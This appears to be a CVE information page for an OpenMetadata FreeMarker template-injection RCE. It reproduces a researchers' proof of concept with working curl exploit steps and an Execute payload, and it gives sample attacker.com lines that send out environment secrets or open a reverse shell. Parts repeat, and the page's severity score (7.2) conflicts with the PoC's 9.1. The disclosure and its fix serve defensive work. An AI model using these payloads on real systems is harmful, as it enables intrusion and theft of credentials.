What is CVE-2026-22244?

# OpenMetadata RCE Vulnerability - Proof of Concept ## Executive Summary **CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates. ## Credit - @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud ## Vulnerability Details ### 1. Root Cause File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Lines 35-45** contain unsafe FreeMarker template instantiation: ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ``` **Missing Security Controls**: - ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation - ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection - ❌ No input validation - Template content not sanitized ### 2. Attack Vector (VERIFIED) **Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint ```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer Content-Type: application/json-patch+json [ { "op": "replace", "path": "/data/template", "value": " RCE: ${ ex(\"whoami\") } " } ] ``` **Step 2**: Malicious template stored in MySQL database: ```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change'; -- Returns: ... ``` **Step 3**: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured) **Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`: ```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ``` --- ## Exploit Verification ### Environment - **Version**: OpenMetadata 1.11.2 (Latest) - **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - **Test Date**: December 15, 2025 ### Step-by-Step Reproduction #### 1. Deploy OpenMetadata 1.11.2 ```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ``` **Result**: ✅ OpenMetadata running on localhost:8585 #### 2. Obtain Admin JWT Token ```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4) echo "Token: ${TOKEN:0:50}..." ``` **Result**: ✅ Token obtained (654 characters, 1-hour expiry) #### 3. Identify Target Template ```bash # Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ``` **Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb` #### 4. Inject RCE Payload ```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": " RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ``` **Result**: ✅ **HTTP 200 OK** - Template modified successfully **Response Excerpt**: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": " RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\" RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ``` #### 5. Setup SMTP Server ```bash # Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest # Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';" # Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ``` **Result**: ✅ SMTP server ready at fakesmtp:1025 #### 6. Trigger RCE Execution ```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}' ``` **Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully." #### 7. Verify RCE Execution ```bash # Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ``` **Result**: ✅ **RCE CONFIRMED!** **Email Content**: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable RCE OUTPUT: openmetadata - /opt/openmetadata ``` **Command Execution Proof**: - ✅ `whoami` command executed → returned `openmetadata` - ✅ `pwd` command executed → returned `/opt/openmetadata` - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved --- ## Attack Scenarios ### Scenario 1: Privilege Escalation 1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server ### Scenario 2: Data Exfiltration ```freemarker ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ``` Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials ### Scenario 3: Reverse Shell ```freemarker ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ``` Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized) --- ## Impact Assessment ### Technical Impact - **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets - **Integrity**: **HIGH** - Full control over OpenMetadata application and data - **Availability**: **HIGH** - Ability to crash application, delete data, deny service ### Business Impact - **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage - **Compliance**: GDPR, SOC2, HIPAA violations if exploited - **Reputation**: Critical security failure in data governance platform - **Supply Chain**: Potential pivot to connected data sources (70+ connectors) ### CVSS 3.1 Score ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ``` - **Attack Vector (AV)**: Network (N) - **Attack Complexity (AC)**: Low (L) - Simple API requests - **Privileges Required (PR)**: High (H) - Admin role required - **User Interaction (UI)**: None (N) - **Scope (S)**: Changed (C) - Impacts beyond application (server OS) - **Confidentiality (C)**: High (H) - **Integrity (I)**: High (H) - **Availability (A)**: High (H) **Score**: **9.1 (CRITICAL)** --- ## Remediation ### Immediate Fix (CRITICAL) **File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Replace lines 38-42 with:** ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ``` ---

What is the severity of CVE-2026-22244?

CVE-2026-22244 has a CVSS v3 score of 7.2, which is classified as High severity.

Is there an exploit available for CVE-2026-22244?

No known public exploits are currently available for CVE-2026-22244.

Is there a patch available for CVE-2026-22244?

Yes, patches are available for CVE-2026-22244. Check the vendor advisories for update instructions.

OpenMetadata RCE Vulnerability - Proof of Concept

Executive Summary

CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.

Credit

@lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud

Vulnerability Details

1. Root Cause

File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java

Lines 35-45 contain unsafe FreeMarker template instantiation:

public Template getTemplate(String templateName) throws IOException {
    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
    String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
    
    if (nullOrEmpty(template)) {
        throw new IOException("Template content not found for template: " + templateName);
    }
    
    return new Template(
        templateName, 
        new StringReader(template),  // ← RENDERS UNTRUSTED TEMPLATE
        new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}

Missing Security Controls:

❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
❌ No input validation - Template content not sanitized

2. Attack Vector (VERIFIED)

Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint

PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/data/template",
    "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
  }
]

Step 2: Malicious template stored in MySQL database:

Vendor	Product
Open Metadata	Openmetadata

Vendor

Product

Open Metadata

Openmetadata